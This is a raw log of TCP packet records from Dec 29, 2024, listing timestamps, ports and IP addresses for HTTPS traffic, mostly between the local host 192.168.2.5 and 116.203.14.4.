Dec 29, 2024 05:45:46.767788887 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.767801046 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.767846107 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.768213987 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.768290997 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.768342972 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.768398046 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.768465042 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.768492937 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.768527031 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.768573999 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.790333986 CET	49903	443	192.168.2.5	23.219.82.59
Dec 29, 2024 05:45:46.790345907 CET	49904	443	192.168.2.5	23.219.82.59
Dec 29, 2024 05:45:46.811342955 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.811628103 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.811757088 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.811892986 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.811933994 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.811978102 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.811996937 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.812010050 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.812027931 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.812079906 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.812124968 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.823045015 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.823245049 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.823254108 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.823266029 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.823277950 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.823385954 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.823393106 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.823409081 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.823420048 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.823426962 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.823431969 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.823465109 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.823570967 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.823577881 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.823594093 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.823609114 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.823679924 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.823693991 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.823734999 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.823743105 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.823753119 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.823784113 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.823800087 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.823813915 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.823822021 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.823834896 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.867331028 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.867486954 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.867538929 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.867588043 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.867630959 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.867680073 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.867714882 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.867748022 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.867820024 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.867856979 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.886260033 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.886409044 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.886419058 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.886420965 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.886449099 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.886449099 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.886460066 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.886470079 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.886471987 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.886509895 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.886651039 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.886660099 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.886671066 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.886682034 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.886698008 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.886703968 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.886715889 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.886727095 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.886739969 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.886746883 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.886758089 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.886800051 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.886812925 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.886848927 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.886856079 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.886873007 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.886885881 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.886910915 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.886924028 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.886960983 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.886972904 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887017012 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887027025 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887033939 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887042046 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887056112 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887056112 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887062073 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887074947 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887089968 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887131929 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887141943 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887150049 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887159109 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887168884 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887197971 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887206078 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887217045 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887252092 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887267113 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887274981 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887280941 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887305975 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887305975 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887335062 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887365103 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887372971 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887387037 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887415886 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887423992 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887429953 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887442112 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887459993 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887494087 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887505054 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887512922 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887527943 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887532949 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887537003 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887562037 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887599945 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887609959 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887626886 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887635946 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887681961 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887691021 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887700081 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887707949 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887722015 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887739897 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887769938 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887778044 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887784004 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887797117 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887813091 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887823105 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887871027 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887877941 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887893915 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887914896 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887945890 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887965918 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887970924 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887972116 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.887984037 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.887989044 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.888006926 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.888030052 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.888042927 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.888056040 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.888075113 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.888125896 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.888139009 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.888170004 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.888180971 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.888223886 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.888233900 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.888274908 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.888282061 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.888308048 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.888317108 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.888330936 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.888359070 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.888380051 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.888422966 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.888431072 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.888452053 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.888492107 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.888530970 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.904382944 CET	443	49886	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:46.904445887 CET	443	49886	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:46.904496908 CET	49886	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:46.905021906 CET	49886	443	192.168.2.5	13.78.111.199
Dec 29, 2024 05:45:46.905029058 CET	443	49886	13.78.111.199	192.168.2.5
Dec 29, 2024 05:45:46.931329012 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.931446075 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.931730986 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.931782007 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.931827068 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.931835890 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.931849957 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.931886911 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.931895018 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.931920052 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.932038069 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.932095051 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.941354036 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.941600084 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.941617012 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.941721916 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.941729069 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.941740990 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.941751957 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.941834927 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.941842079 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.941858053 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.941869020 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.941920996 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.941934109 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.941975117 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.941992998 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.942030907 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.942049026 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.942059040 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.942090988 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.942100048 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.942112923 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.942325115 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.942378044 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.942413092 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.974517107 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.974632025 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.974648952 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.974931002 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.974941969 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.975030899 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.975039005 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.975058079 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.975058079 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.975085974 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.975141048 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.975188017 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.975224972 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.975263119 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.975276947 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.975337982 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.005737066 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.005934000 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.005944014 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.005992889 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.006004095 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.006038904 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.006055117 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.006091118 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.006098032 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.006129026 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.006140947 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.006158113 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.006166935 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.006175041 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.006181002 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.006191969 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.006200075 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.006238937 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.006252050 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.006259918 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.006266117 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.006280899 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.006290913 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.006321907 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.006329060 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.006342888 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.006387949 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.006396055 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.006423950 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.006429911 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.006448030 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.006484985 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.006500959 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.006541967 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.006553888 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.006563902 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.006603003 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.010974884 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.011178970 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011193991 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.011209965 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011220932 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.011229038 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011236906 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.011259079 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011269093 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.011276007 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011280060 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.011296034 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011343002 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.011368036 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011384964 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011395931 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.011415005 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.011435986 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011450052 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.011483908 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011492014 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.011501074 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011511087 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.011518955 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011523962 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.011532068 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011539936 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.011589050 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011595964 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.011604071 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011616945 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011651039 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011657953 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011677027 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011684895 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011708021 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011749983 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011770010 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011780977 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011787891 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011811972 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011811972 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011826038 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011859894 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.011925936 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.012070894 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.012077093 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.012089014 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.012099028 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.012113094 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.012123108 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.012188911 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:47.016225100 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:47.068300009 CET	443	49898	20.110.205.119	192.168.2.5
Dec 29, 2024 05:45:47.068470955 CET	443	49898	20.110.205.119	192.168.2.5
Dec 29, 2024 05:45:47.068523884 CET	49898	443	192.168.2.5	20.110.205.119
Dec 29, 2024 05:45:47.071813107 CET	49898	443	192.168.2.5	20.110.205.119
Dec 29, 2024 05:45:47.071830988 CET	443	49898	20.110.205.119	192.168.2.5
Dec 29, 2024 05:45:47.088170052 CET	443	49906	204.79.197.219	192.168.2.5
Dec 29, 2024 05:45:47.094028950 CET	443	49905	204.79.197.219	192.168.2.5
Dec 29, 2024 05:45:47.107450962 CET	49906	443	192.168.2.5	204.79.197.219
Dec 29, 2024 05:45:47.107467890 CET	443	49906	204.79.197.219	192.168.2.5
Dec 29, 2024 05:45:47.108355999 CET	443	49906	204.79.197.219	192.168.2.5
Dec 29, 2024 05:45:47.108409882 CET	49906	443	192.168.2.5	204.79.197.219
Dec 29, 2024 05:45:47.108674049 CET	49905	443	192.168.2.5	204.79.197.219
Dec 29, 2024 05:45:47.108702898 CET	443	49905	204.79.197.219	192.168.2.5
Dec 29, 2024 05:45:47.109863043 CET	49906	443	192.168.2.5	204.79.197.219
